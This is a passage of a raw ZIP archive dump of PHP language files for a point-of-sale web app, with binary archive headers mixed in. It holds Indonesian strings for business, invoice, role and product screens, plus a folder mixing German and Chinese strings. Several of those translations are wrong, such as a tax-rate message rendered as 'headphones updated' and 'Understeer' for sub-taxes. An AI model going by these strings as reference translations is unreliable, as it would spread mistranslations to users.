'Persentase keuntungan default', 'default_sales_tax' => 'Pajak Penjualan Default', 'default_sales_discount' => 'Diskon Penjualan Default', 'business_details' => 'Detail bisnis', 'tax' => 'Pajak', 'tax_details' => 'Detail pajak', 'owner' => 'Pemilik', 'owner_info' => 'Informasi pemilik', 'sale' => 'Penjualan', 'sell_price_tax' => 'Harga penjualan', 'product' => 'Produk', 'sku_prefix' => 'Awalan SKU', 'language' => 'Bahasa', 'time_zone' => 'Zona Waktu', 'months' => [ 1 => 'Januari', 2 => 'Februari', 3 => 'Maret', 4 => 'April', 5 => 'Mei', 6 => 'Juni', 7 => 'Juli', 8 => 'Augustus', 9 => 'September', 10 => 'Oktober', 11 => 'November', 12 => 'Desember', ], 'fy_start_month' => 'Tahun keuangan awal bulan', 'accounting_method' => 'Metode Akutansi Stok', 'fifo' => 'FIFO (First In First Out)', 'lifo' => 'LIFO (Last In First Out)', 'business_locations' => 'Lokasi Bisnis', 'business_location' => 'Lokasi Bisnis', 'manage_your_business_locations' => 'Mengelola lokasi bisnis Anda', 'all_your_business_locations' => 'Semua lokasi bisnis Anda', 'add_business_location' => 'Tambahkan lokasi bisnis baru', 'business_location_added_success' => 'Lokasi bisnis berhasil ditambahkan', 'edit_business_location' => 'Edit lokasi bisnis', 'business_location_updated_success' => 'Lokasi bisnis berhasil diperbarui', 'location' => 'Lokasi', 'already_registered' => 'Sudah terdaftar?', 'sign_in' => 'Masuk', 'not_yet_registered' => 'Belum terdaftar?', 'register_now' => 'Daftar sekarang', 'system' => 'Sistem', 'show_help_text' => 'Tampilkan teks bantuan', 'mobile' => 'Mobile', 'alternate_number' => 'Nomor kontak alternatif', 'email' => 'Email', 'settings' => 'Pengaturan', 'transaction_edit_days' => 'Hari Edit Transaksi', 'dashboard' => 'Dasbor', 'view_stock_expiry_alert_for' => 'Lihat Peringatan Kedaluwarsa Stok Untuk', 'days' => 'Hari', 'system_settings' => 'Pengaturan Sistem', 'add_keyboard_shortcuts' => 'Tambahkan pintasan keyboard', 'operations' => 'Pengerjaan', 'keyboard_shortcut' => 'Pintasan Keyboard', 'business_created_succesfully' => 'Bisnis berhasil dibuat !!', 'tax_number1' => 'Nomor Pajak 1', 'tax_number2' => 'Nomor Pajak 2', 'is_active' => 'Aktif', 'created_by' => 'Dibuat oleh', 'tax_number1' => 'Nomor Pajak 1', 'tax_number2' => 'Nomor Pajak 2', 'is_active' => 'Aktif', 'created_by' => 'Dibuat oleh', ]; PK G �Z�d�<5 5 id/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'Kasir', 'manage_your_cash_register' => 'Mengelola Kasir', 'all_your_cash_register' => 'Semua Kasir', 'cash_in_hand' => 'Persiapan uang tunai', 'open_cash_register' => 'Buka Kasir', 'enter_amount' => 'Masukan jumlah', 'open_register' => 'Buka Register', 'register_details' => 'Detail Register', 'cash_payment' => 'Pembayaran Tunai', 'checque_payment' => 'Pembayaran Cek', 'card_payment' => 'Pembayaran Kartu', 'bank_transfer' => 'Transfer Bank', 'other_payments' => 'Pembayaran Lainnya', 'total_sales' => 'Total Penjualan', 'total_cash' => 'Total Tunai', 'current_register' => 'Register saat ini', 'close_register' => 'Register ditutup', 'total_card_slips' => 'Total slip kartu', 'total_cheques' => 'Total cek', 'closing_note' => 'Catatan Penutup', 'close_success' => 'Register berhasil ditutup', 'open' => 'Buka', 'close' => 'Tutup', 'total_refund' => 'Total Refund', 'refunds' => 'Refund', ]; PK G �Z �rQ� � id/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "Produk stok sudah rendah.<br/><small class='text-muted'>Berdasarkan kuantitas peringatan produk yang diatur di layar tambah produk.<br> Beli produk ini sebelum stok terakhir.</small>", 'payment_dues' => "Pembayaran tertunda untuk pembelian. <br/><small class='text-muted'>Berdasarkan jangka waktu pembayaran pemasok. <br/> Menampilkan pembayaran yang harus dibayar dalam 7 hari atau kurang.</small>", 'input_tax' => 'Total pajak yang dipungut untuk penjualan dalam periode waktu yang dipilih.', 'output_tax' => 'Total pajak yang dibayarkan untuk pembelian dalam periode waktu yang dipilih.', 'tax_overall' => 'Perbedaan antara jumlah pajak yang dikumpulkan dan jumlah pajak yang dibayarkan dalam periode waktu yang dipilih.', 'purchase_due' => 'Jumlah total yang belum dibayar untuk pembelian.', 'sell_due' => 'Jumlah total yang akan diterima dari penjualan', 'over_all_sell_purchase' => '-ve value = Jumlah yang harus dibayar <br>+ve Nilai = Jumlah yang akan diterima', 'no_of_products_for_trending_products' => 'Jumlah produk paling terlaris akan dibandingkan dalam bagan di bawah ini.', 'top_trending_products' => "Produk terlaris dari toko Anda. <br/><small class='text-muted'>Terapkan filter untuk mengetahui produk terlaris dalam Kategori, Merek, Lokasi Bisnis dll.</small>", 'sku' => "ID produk unik atau Penyimpanan stok satuan <br><br>Biarkan kosong untuk membuat sku secara otomatis.<br><small class='text-muted'>Anda dapat memodifikasi awalan sku dalam pengaturan Bisnis.</small>", 'enable_stock' => "Mengaktifkan atau menonaktifkan manajemen stok untuk suatu produk. <br><br><small class='text-muted'>Manajemen Stok harus dinonaktifkan biasanya untuk layanan. Contoh: Gunting Rambut, Reparasi, dll.</small>", 'alert_quantity' => "Dapatkan peringatan ketika stok produk yang tercapai atau arahkan di bawah jumlah yang ditentukan.<br><br><small class='text-muted'>Produk dengan stok rendah akan ditampilkan di dasbor - bagian Peringatan Stok Produk.</small>", 'product_type' => '<b>Single product</b>: Produk tanpa varian. <br> <b> Produk variabel </b>: Produk dengan varian seperti ukuran, warna, dll.', 'profit_percent' => "Margin keuntungan default untuk produk. <br><small class='text-muted'>(<i>Anda dapat mengelola profit margin default di Pengaturan Bisnis.</i>)</small>", 'pay_term' => "Pembayaran harus dibayar untuk pembelian/penjualan dalam periode waktu tertentu.<br/><small class='text-muted'>Semua pembayaran yang akan datang atau jatuh tempo akan ditampilkan di dasbor - Bagian Pembayaran Karena</small>", 'order_status' => 'Produk dalam pembelian ini hanya akan tersedia untuk dijual jika <b> Status Pemesanan </b> adalah <b> Item Diterima</b>.', 'purchase_location' => 'Lokasi bisnis dimana tempat produk yang dibeli akan tersedia untuk dijual.', 'sale_location' => 'Lokasi bisnis dari tempat Anda ingin menjual', 'sale_discount' => "Tetapkan 'Diskon Penjualan Default' untuk semua penjualan di Pengaturan Bisnis. Klik ikon edit di bawah untuk menambah/memperbarui diskon.", 'sale_tax' => "Tetapkan 'Pajak Penjualan Defaul' untuk semua penjualan di Pengaturan Bisnis. Klik ikon edit di bawah ini untuk menambah/memperbarui Pajak Pesanan.", 'default_profit_percent' => "Margin profit produk. <br><small class='text-muted'>Digunakan untuk menghitung harga jual berdasarkan harga pembelian yang dimasukkan. <br/> Anda dapat mengubah nilai ini untuk produk individual sambil menambahkan</small>", 'fy_start_month' => 'Mulai bulan Tahun Keuangan untuk bisnis Anda', 'business_tax' => 'Nomor pajak terdaftar untuk bisnis Anda.', 'invoice_scheme' => "Skema Faktur juga format penomoran faktur. Pilih skema yang akan digunakan untuk lokasi bisnis ini<br><small class='text-muted'><i>Anda dapat menambahkan Skema Faktur baru </b> di Pengaturan Faktur</i></small>", 'invoice_layout' => "Tata Letak Faktur yang akan digunakan untuk lokasi bisnis ini<br><small class='text-muted'>(<i>Anda dapat menambahkan <b> Tata Letak Faktur </b> baru di <b> Pengaturan Faktur<b></i>)</small>", 'invoice_scheme_name' => 'Berikan nama singkat bermakna untuk Skema Faktur.', 'invoice_scheme_prefix' => 'Awalan untuk Skema Faktur. <br> Awalan dapat berupa teks khusus atau tahun berjalan. Contoh: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Nomor mulai untuk penomoran faktur. <br><small class='text-muted'>Anda dapat membuatnya 1 atau nomor lain dari mana penomoran akan dimulai.</small>", 'invoice_scheme_count' => 'Jumlah total faktur yang dihasilkan untuk Skema Faktur', 'invoice_scheme_total_digits' => 'Panjang Nomor Faktur tidak termasuk Awalan Faktur', 'tax_groups' => 'Tarif Grup Pajak - ditentukan di atas, untuk digunakan dalam kombinasi di bagian Pembelian/Jual.', 'unit_allow_decimal' => 'Desimal memungkinkan Anda untuk menjual produk terkait dalam pecahan.', 'print_label' => 'Tambahkan produk -> Pilih informasi untuk ditampilkan dalam Label -> Pilih Pengaturan Barcode -> Tampilkan Label -> Cetak', 'expense_for' => 'Pilih pengguna yang terkait dengan pengeluaran. <i>(Optional)</i><br/><small>Contoh: Gaji karyawan.</small>', 'all_location_permission' => 'Jika <b> Semua Lokasi </b> dipilih, peran ini akan memiliki izin untuk mengakses semua lokasi bisnis', 'dashboard_permission' => 'Jika tidak dicentang, hanya pesan Selamat Datang yang akan ditampilkan di Beranda.', 'access_locations_permission' => 'Pilih semua lokasi yang dapat diakses oleh wewenang ini. Semua data untuk lokasi yang dipilih hanya akan ditampilkan menurut pengguna.<br/><br/><small>Sebagai Contoh: Anda dapat menggunakan ini untuk mendefinisikan <i> Mengelola Toko/Kasir/Stok/Cabang, </i> dari Lokasi tertentu.</small>', 'print_receipt_on_invoice' => 'Aktifkan atau Nonaktifkan pencetakan otomatis faktur pada penyelesaian', 'receipt_printer_type' => '<i> Pencetakan Berbasis Browser </i>: Tampilkan kotak dialog cetak di browser dengan melihat faktur <br/> <br/> <i> Gunakan Printer Receipt yang Dikonfigurasi </i>: Pilih printer receipt/termal yang dikonfigurasi untuk pencetakan', 'adjustment_type' => '<i>Normal</i>: Penyesuaian untuk alasan normal seperti Kebocoran, Kerusakan dll. <br/><br/> <i>Abnormal</i>: Penyesuaian untuk alasan seperti Kebakaran, Kecelakaan, dll.', 'total_amount_recovered' => 'Jumlah yang diperoleh dari asuransi atau memo penjualan atau lainnya', 'express_checkout' => 'Tandai pembayaran & checkout selesai', 'total_card_slips' => 'Jumlah total pembayaran kartu yang digunakan dalam register ini', 'total_cheques' => 'Jumlah total cek yang digunakan dalam register ini', 'capability_profile' => "Dukungan untuk perintah dan halaman kode bervariasi antara vendor dan model printer. Jika Anda tidak yakin, sebaiknya gunakan Profil Kemampuan 'simple'", 'purchase_different_currency' => 'Pilih opsi ini jika pembelian Anda dalam mata uang yang berbeda dari mata uang bisnis Anda', 'currency_exchange_factor' => "1 Beli Mata Uang =? Mata Uang Dasar <br> <small class='text-muted'>Anda dapat mengaktifkan/menonaktifkan 'Pembelian dalam mata uang lain' pada pengaturan bisnis.</small>", 'accounting_method' => 'Metode akuntansi', 'transaction_edit_days' => 'Jumlah hari dari Tanggal Transaksi hingga transaksi masih dapat diedit.', 'stock_expiry_alert' => "Daftar stok yang berakhir pada :days hari <br> <small class='text-muted'>Anda dapat mengatur no. hari pada Pengaturan Bisnis </small>", 'sub_sku' => 'SKU adalah opsional. <br><br><small>Biarkan kosong untuk membuat SKU secara otomatis.<small>', 'shipping' => 'Tetapkan detail pengiriman dan biaya pengiriman. Klik ikon edit di bawah untuk menambah/memperbarui rincian dan biaya pengiriman.', ]; PK G �Z|җXM M id/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'Tambah Wewenang', 'edit_role' => 'Edit Wewenang', 'user' => 'Pengguna', 'supplier' => 'Pemasok', 'customer' => 'Pelanggan', 'purchase' => 'Pembelian & Penyesuaian Stok', 'report' => 'Laporan', 'user.view' => 'Lihat pengguna', 'user.create' => 'Tambah pengguna', 'user.update' => 'Edit pengguna', 'user.delete' => 'Hapus pengguna', 'supplier.view' => 'Lihat pemasok', 'supplier.create' => 'Tambah pemasok', 'supplier.update' => 'Edit pemasok', 'supplier.delete' => 'Hapus pemasok', 'customer.view' => 'Lihat pelanggan', 'customer.create' => 'Tambah pelanggan', 'customer.update' => 'Edit pelanggan', 'customer.delete' => 'Hapus pelanggan', 'product.view' => 'Lihat produk', 'product.create' => 'Tambah produk', 'product.update' => 'Edit produk', 'product.delete' => 'Hapus produk', 'purchase.view' => 'Liha pembelian & Penyesuaian Stok', 'purchase.create' => 'Tambah pembelian & Penyesuaian Stok', 'purchase.update' => 'Edit pembelian & Penyesuaian Stok', 'purchase.delete' => 'Hapus pembelian & Penyesuaian Stok', 'sell.view' => 'Lihat penjualan POS', 'sell.create' => 'Tambah penjualan POS', 'sell.update' => 'Edit penjualan POS', 'sell.delete' => 'Hapus penjualan POS', 'purchase_n_sell_report.view' => 'Lihat laporan pembelian & penjualan', 'contacts_report.view' => 'Lihat laporan Pemasok & Pelanggan', 'stock_report.view' => 'Lihat laporan stok, laporan penyesuaian stok & laporan stok kedaluwarsa', 'tax_report.view' => 'Lihat laporan pajak', 'trending_product_report.view' => 'Lihat laporan produk terlaris', 'register_report.view' => 'Lihat laporan POS', 'sales_representative.view' => 'Lihat laporan sales representative', 'expense_report.view' => 'Lihat laporan biaya', 'business_settings.access' => 'Akses pengaturan bisnis', 'barcode_settings.access' => 'Akses pengaturan barcode', 'invoice_settings.access' => 'Akses pengaturan faktur', 'brand.view' => 'Lihat merek', 'brand.create' => 'Tambah merek', 'brand.update' => 'Edit merek', 'brand.delete' => 'Hapus merek', 'tax_rate.view' => 'Lihat tarif pajak', 'tax_rate.create' => 'Tambah tarif pajak', 'tax_rate.update' => 'Edit tarif pajak', 'tax_rate.delete' => 'Hapus tarif pajak', 'unit.view' => 'Lihat satuan', 'unit.create' => 'Tambah satuan', 'unit.update' => 'Edit satuan', 'unit.delete' => 'Hapus satuan', 'category.view' => 'Lihat kategori', 'category.create' => 'Tambah kategori', 'category.update' => 'Edit kategori', 'category.delete' => 'Hapus kategori', 'select_all' => 'Pilih semua', 'settings' => 'Pengaturan', 'brand' => 'Merek', 'tax_rate' => 'Tarif Pajak', 'unit' => 'Satuan', 'access_locations' => 'Akses lokasi', 'all_locations' => 'Semua lokasi', 'dashboard' => 'Beranda', 'dashboard.data' => 'Lihat data Beranda', 'profit_loss_report.view' => 'Lihat laporan laba/rugi', 'direct_sell.access' => 'Akses penjualan', ]; PK G �Z��S�� � id/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'Exc. pajak', 'inc_of_tax' => 'Inc. pajak', 'profit_percent' => 'x Margin(%)', 'add_new_product' => 'Tambahkan produk baru', 'add_product_for_labels' => 'Tambahkan produk untuk membuat Label', 'product_type' => 'Jenis Produk', 'category' => 'Kategori', 'sub_category' => 'Sub kategori', 'unit' => 'Unit', 'brand' => 'Merek', 'tax' => 'Pajak', 'sku' => 'SKU', 'alert_quantity' => 'Peringatan kwantitas', 'product_name' => 'Nama Produk', 'auto_generate' => 'Generate otomatis', 'manage_stock' => 'Mengelola stok?', 'enable_stock_help' => 'Aktifkan manajemen stok di tingkat produk', 'barcode_type' => 'Jenis Barcode', 'applicable_tax' => 'Pajak yang berlaku', 'selling_price_tax_type' => 'Jenis Pajak Harga Jual', 'inclusive' => 'Termasuk', 'exclusive' => 'Tidak termasuk', 'edit_product' => 'Edit Produk', 'default_purchase_price' => 'Harga Pembelian Default', 'default_selling_price' => 'Harga Jual Default', 'value' => 'Nilai', 'variation_name' => 'Nama Varian', 'variation_values' => 'Nilai Varian', 'use_template' => 'Gunakan Template', 'variation_values' => 'Nilai Varian', 'add_variation' => 'Tambahkan Varian', 'product_added_success' => 'Produk berhasil ditambahkan', 'product_updated_success' => 'Produk berhasil diperbarui', 'enable_product_expiry' => 'Aktifkan Kadaluwarsa Produk', 'expiry_period' => 'Periode Kadaluwarsa', 'expires_in' => 'Kadaluarsa dalam', 'not_applicable' => 'Tak dapat diterapkan', 'months' => 'Bulan', 'days' => 'Hari', 'mfg_date' => 'Tanggal MFG', 'exp_date' => 'Tanggal EXP', 'view_product' => 'Lihat Produk', 'add_product' => 'Tambah Produk', 'variations' => 'Varian', 'import_products' => 'Impor Produk', 'file_to_import' => 'File Untuk Diimpor', 'file_imported_successfully' => 'File berhasil diimpor', 'variation_sku_format_help_text' => 'Format SKU Variasi - Ketika SKU variasi kosong, format ini akan digunakan untuk menghasilkan SKU untuk variasi.', 'sku_number' => 'Nomor SKU (Contoh -> ABC-1, ABC-2)', 'sku_variation_number' => 'Variasi SKU (Contoh -> ABCS, ABCM)' ]; PK G �ZU��"� � id/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'Mengelola Faktur', 'manage_your_invoices' => 'Kelola pengaturan faktur Anda', 'all_your_invoice_schemes' => 'Semua skema faktur Anda', 'added_success' => 'Pengaturan faktur berhasil ditambahkan', 'updated_success' => 'Pengaturan faktur berhasil diperbarui', 'deleted_success' => 'Pengaturan faktur berhasil dihapus', 'add_invoice' => 'Tambahkan skema faktur baru', 'edit_invoice' => 'Edit skema faktur', 'name' => 'Nama', 'prefix' => 'Awalan', 'start_number' => 'Mulai dari', 'total_digits' => 'Jumlah digit', 'preview' => 'Pratinjau', 'not_selected' => 'Tidak terpilih', 'invoice_count' => 'Hitungan Faktur', 'invoice_schemes' => 'Skema Faktur', 'invoice_layouts' => 'Tata Letak Faktur', 'invoice_layout' => 'Tata Letak Faktur', 'all_your_invoice_layouts' => 'Semua tata letak faktur Anda', 'add_invoice_layout' => 'Tambahkan tata letak faktur baru', 'layout_name' => 'Nama tata letak', 'invoice_scheme' => 'Skema faktur', 'header_text' => 'Teks judul', 'invoice_no_prefix' => 'Nomor faktur. label', 'invoice_heading' => 'Judul faktur', 'sub_total_label' => 'Label subtotal', 'discount_label' => 'Label diskon', 'tax_label' => 'Label pajak', 'total_label' => 'Label total', 'fields_to_be_shown_in_address' => 'Bidang yang akan ditampilkan di alamat lokasi', 'highlight_color' => 'Warna sorot', 'footer_text' => 'Catatan kaki', 'layout_added_success' => 'Tata letak faktur berhasil ditambahkan', 'edit_invoice_layout' => 'Edit tata letak faktur', 'layout_updated_success' => 'Tata letak faktur berhasil diperbarui', 'used_in_locations' => 'Digunakan di lokasi', 'show_business_name' => 'Tampilkan nama bisnis', 'show_location_name' => 'Tampilkan nama lokasi', 'show_mobile_number' => 'Nomor handphone', 'show_alternate_number' => 'Nomor alternatif', 'show_email' => 'Email', 'show_tax_1' => 'Rincian pajak 1', 'show_tax_2' => 'Rincian pajak 2', 'fields_to_shown_for_communication' => 'Kolom untuk detail Komunikasi', 'fields_to_shown_for_tax' => 'Kolom untuk rincian Pajak', 'invoice_logo' => 'Logo Faktur', 'show_logo' => 'Tampilkan Logo faktur', 'show_barcode' => 'Tampilkan Barcode', 'total_due_label' => 'Label Total Jatuh Tempo', 'invoice_heading_not_paid' => 'Judul Akhiran untuk tidak dibayar', 'invoice_heading_paid' => 'Judul Akhiran untuk dibayar', 'show_payments' => 'Tampilkan informasi Pembayaran', 'show_customer' => 'Tampilkan informasi Pelanggan', 'paid_label' => 'Jumlah Label Berbayar', 'customer_label' => 'Label Pelanggan', ]; PK G �Zj� � ce/expense.phpnu �[��� <?php return [ 'expenses' => 'Kosten', 'expense_categories' => 'Spesenkategorien', 'manage_your_expense_categories' => 'Verwalten Sie Ihre Ausgabenkategorien', 'all_your_expense_categories' => 'Alle Ihre Spesenkategorien', 'expense_category' => 'Ausgabenkategorie', 'category_name' => 'Kategoriename', 'category_code' => 'Kategoriecode', 'added_success' => 'Expense-Kategorie erfolgreich hinzugefügt', 'updated_success' => 'Expense-Kategorie erfolgreich aktualisiert', 'deleted_success' => 'Expense-Kategorie erfolgreich gelöscht', 'add_expense_category' => 'Kostenkategorie hinzufügen', 'edit_expense_category' => 'Aufwandskategorie bearbeiten', 'all_expenses' => 'Alle Ausgaben', 'expense_status' => 'Ausgabenstatus', 'add_expense' => 'Kosten hinzufügen', 'edit_expense' => 'Aufwand bearbeiten', 'expense_note' => 'Spesenzettel', 'expense_add_success' => 'Aufwand erfolgreich hinzugefügt', 'expense_update_success' => 'Aufwand erfolgreich aktualisiert', 'expense_delete_success' => 'Aufwand erfolgreich gelöscht', 'expense_for' => 'Aufwand für', ]; PK G �Z���ô � ce/messages.phpnu �[��� <?php return [ 'add' => 'Hinzufügen', 'edit' => 'Bearbeiten', 'save' => 'Sparen', 'update' => 'Aktualisieren', 'action' => 'Aktion', 'actions' => 'Aktionen', 'view' => 'Aussicht', 'delete' => 'Löschen', 'close' => 'Schließen', 'something_went_wrong' => 'Etwas ist schief gelaufen, bitte versuchen Sie es später erneut', 'required' => 'Dieses Feld wird benötigt', 'please_select' => 'Bitte auswählen', 'cancel' => 'Stornieren', 'date' => 'Datum', 'filter_by_date' => 'Nach Datum filtern', 'location' => 'Ort', 'go_back' => 'Geh zurück', 'due_tooltip' => '-ve value = Zu zahlender Betrag <br> + ve value = Zu erhaltender Betrag', 'purchase_due_tooltip' => '-ve value = Zu erhaltender Betrag <br> + ve value = Zu zahlender Betrag', 'yes' => 'Ja', 'no' => 'Nein', 'all' => 'Alle', 'settings' => 'Die Einstellungen', 'business_location_settings' => 'Geschäftsstandorteinstellungen', 'print' => 'Drucken', 'submit' => 'Einreichen', 'purchase_sell_mismatch_exception' => 'FEHLER: NICHT ZULÄSSIG: Unstimmigkeit zwischen Kauf- und Verkaufsmenge. Produkt: :product', 'purchase_stock_adjustment_mismatch_exception' => 'FEHLER: NICHT ZULÄSSIG: Abweichung zwischen Bestandsanpassung und Bestellmenge. Produkt: :product', 'transaction_edit_not_allowed' => 'Transaktion bearbeiten nicht erlaubt :days Tage Tage.', ]; PK G �ZM�� � ce/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => '庫存更正', 'stock_adjustments' => '庫存調整', 'list' => '列出庫存調整', 'add' => '添加庫存調整', 'all_stock_adjustments' => '所有庫存調整', 'search_product' => '搜索庫存匹配產品', 'adjustment_type' => '調整類型', 'normal' => 'normal', 'abnormal' => '異常', 'total_amount' => '總金額', 'total_amount_recovered' => '總回收率', 'reason_for_stock_adjustment' => '理由', 'stock_adjustment_added_successfully' => '庫存調整成功添加', 'search_products' => '產品搜索', 'delete_success' => '庫存調整已成功刪除', 'view_details' => '顯示庫存調整詳情', ]; PK G �Z~��� � ce/home.phpnu �[��� <?php return [ 'home' => '家', 'welcome_message' => '歡迎：名字', 'total_sell' => '總銷售額', 'total_purchase' => '總購買量', 'invoice_due' => '到期發票', 'purchase_due' => '購買到期', '今天' => '今天', 'this_week' => '本週', 'this_month' => '本月', 'this_fy' => '本財政年度', 'sells_last_30_days' => '銷售最近30天', 'sells_current_fy' => '營業額當前財年', 'total_sells' => '總收入（：貨幣）', 'product_stock_alert' => '產品倉庫警告', 'payment_dues' => '付費', 'due_amount' => '應付金額', 'stock_expiry_alert' => '庫存到期', 'todays_profit' => '今天的利潤', ]; PK G �ZVF5�K K ce/receipt.phpnu �[��� <?php return [ 'product' => '產品', 'qty' => '數量', 'unit_price' => '單價', 'subtotal' => '小計', 'discount' => '折扣', 'tax' => '增值稅', 'total' => '總數', 'invoice_number' => '發票編號', 'date' => 'date', 'receipt_settings' => '接收設置', 'receipt_settings_mgs' => '此位置的所有與接收相關的設置', 'print_receipt_on_invoice' => '完成後自動打印發票', 'receipt_printer_type' => '收據打印機類型', 'receipt_settings_updated' => '收據更新已成功更新', ]; PK G �ZC�� � ce/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => '稅率', 'manage_your_tax_rates' => '管理您的稅率', 'all_your_tax_rates' => '所有稅率', 'name' => 'name', 'rate' => '稅率％', 'added_success' => '稅率已成功添加', 'updated_success' => '耳機已成功更新', 'deleted_success' => '稅率已成功刪除', 'add_tax_rate' => '添加率', 'edit_taxt_rate' => '編輯稅率', 'add_tax_group' => '添加控制組', 'tax_group_added_success' => '控制組已成功添加', 'tax_group_updated_success' => '控制組已成功更新', 'tax_groups' => '稅組', 'edit_tax_group' => '編輯控制組', 'sub_taxes' => 'Understeer', 'can_not_be_deleted' => '此稅率屬於某些稅組', ]; PK G �Z�t�:K K ce/category.phpnu �[��� <?php return [ 'categories' => '類別', 'manage_your_categories' => '管理您的類別', 'all_your_categories' => '所有類別', 'category' => '類別', 'category_name' => '類別名稱', 'code' => '類別代碼', 'add_as_sub_category' => '添加為子類別', 'select_parent_category' => '選擇父類別', 'added_success' => '類別已成功添加', 'updated_success' => '類別已成功更新', 'deleted_success' => '類別已成功刪除', 'add_category' => '添加類別', 'edit_category' => '編輯類別', ]; PK G �ZV�^� ce/brand.phpnu �[��� <?php return [ 'brands' => 'Marken', 'manage_your_brands' => 'Verwalten Sie Ihre Marken', 'all_your_brands' => 'Alle deine Marken', 'note' => 'Hinweis', 'brand_name' => 'Markenname', 'short_description' => 'Kurze Beschreibung', 'added_success' => 'Marke hinzugefügt erfolgreich', 'updated_success' => 'Marke wurde erfolgreich aktualisiert', 'deleted_success' => 'Marke erfolgreich gelöscht', 'add_brand' => 'Marke hinzufügen', 'edit_brand' => 'Marke bearbeiten', ]; PK G �Z}x� � � ce/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Diese Kombination aus Zugangsdaten wurden nicht in unserer Datenbank gefunden.', 'throttle' => 'Zu viele Loginversuche. Versuchen Sie es bitte in :seconds Sekunden nochmal.', ]; PK G �ZD���� � ce/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute muss akzeptiert werden.', 'active_url' => ':attribute ist keine gültige Internet-Adresse.', 'after' => ':attribute muss ein Datum nach dem :date sein.', 'after_or_equal' => ':attribute muss ein Datum nach dem :date oder gleich dem :date sein.', 'alpha' => ':attribute darf nur aus Buchstaben bestehen.', 'alpha_dash' => ':attribute darf nur aus Buchstaben, Zahlen, Binde- und Unterstrichen bestehen.', 'alpha_num' => ':attribute darf nur aus Buchstaben und Zahlen bestehen.', 'array' => ':attribute muss ein Array sein.', 'before' => ':attribute muss ein Datum vor dem :date sein.', 'before_or_equal' => ':attribute muss ein Datum vor dem :date oder gleich dem :date sein.', 'between' => [ 'numeric' => ':attribute muss zwischen :min & :max liegen.', 'file' => ':attribute muss zwischen :min & :max Kilobytes groß sein.', 'string' => ':attribute muss zwischen :min & :max Zeichen lang sein.', 'array' => ':attribute muss zwischen :min & :max Elemente haben.', ], 'boolean' => ":attribute muss entweder 'true' oder 'false' sein.", 'confirmed' => ':attribute stimmt nicht mit der Bestätigung überein.', 'date' => ':attribute muss ein gültiges Datum sein.', 'date_format' => ':attribute entspricht nicht dem gültigen Format für :format.', 'different' => ':attribute und :other müssen sich unterscheiden.', 'digits' => ':attribute muss :digits Stellen haben.', 'digits_between' => ':attribute muss zwischen :min und :max Stellen haben.', 'dimensions' => ':attribute hat ungültige Bildabmessungen.', 'distinct' => 'Das Feld :attribute beinhaltet einen bereits vorhandenen Wert.', 'email' => ':attribute muss eine gültige E-Mail-Adresse sein.', 'exists' => 'Der gewählte Wert für :attribute ist ungültig.', 'file' => ':attribute muss eine Datei sein.', 'filled' => ':attribute muss ausgefüllt sein.', 'image' => ':attribute muss ein Bild sein.', 'in' => 'Der gewählte Wert für :attribute ist ungültig.', 'in_array' => 'Der gewählte Wert für :attribute kommt nicht in :other vor.', 'integer' => ':attribute muss eine ganze Zahl sein.', 'ip' => ':attribute muss eine gültige IP-Adresse sein.', 'ipv4' => ':attribute muss eine gültige IPv4-Adresse sein.', 'ipv6' => ':attribute muss eine gültige IPv6-Adresse sein.', 'json' => ':attribute muss ein gültiger JSON-String sein.', 'max' => [ 'numeric' => ':attribute darf maximal :max sein.', 'file' => ':attribute darf maximal :max Kilobytes groß sein.', 'string' => ':attribute darf maximal :max Zeichen haben.', 'array' => ':attribute darf nicht mehr als :max Elemente haben.', ], 'mimes' => ':attribute muss den Dateityp :values haben.', 'mimetypes' => ':attribute muss den Dateityp :values haben.', 'min' => [ 'numeric' => ':attribute muss mindestens :min sein.', 'file' => ':attribute muss mindestens :min Kilobytes groß sein.', 'string' => ':attribute muss mindestens :min Zeichen lang sein.', 'array' => ':attribute muss mindestens :min Elemente haben.', ], 'not_in' => 'Der gewählte Wert für :attribute ist ungültig.', 'numeric' => ':attribute muss eine Zahl sein.', 'present' => 'Das Feld :attribute muss vorhanden sein.', 'regex' => ':attribute Format ist ungültig.', 'required' => ':attribute muss ausgefüllt sein.', 'required_if' => ':attribute muss ausgefüllt sein, wenn :other :value ist.', 'required_unless' => ':attribute muss ausgefüllt sein, wenn :other nicht :values ist.', 'required_with' => ':attribute muss angegeben werden, wenn :values ausgefüllt wurde.', 'required_with_all' => ':attribute muss angegeben werden, wenn :values ausgefüllt wurde.', 'required_without' => ':attribute muss angegeben werden, wenn :values nicht ausgefüllt wurde.', 'required_without_all' => ':attribute muss angegeben werden, wenn keines der Felder :values ausgefüllt wurde.', 'same' => ':attribute und :other müssen übereinstimmen.', 'size' => [ 'numeric' => ':attribute muss gleich :size sein.', 'file' => ':attribute muss :size Kilobyte groß sein.', 'string' => ':attribute muss :size Zeichen lang sein.', 'array' => ':attribute muss genau :size Elemente haben.', ], 'string' => ':attribute muss ein String sein.', 'timezone' => ':attribute muss eine gültige Zeitzone sein.', 'unique' => ':attribute ist schon vergeben.', 'uploaded' => 'Der :attribute konnte nicht hochgeladen werden.', 'url' => 'Das Format von :attribute ist ungültig.', /* 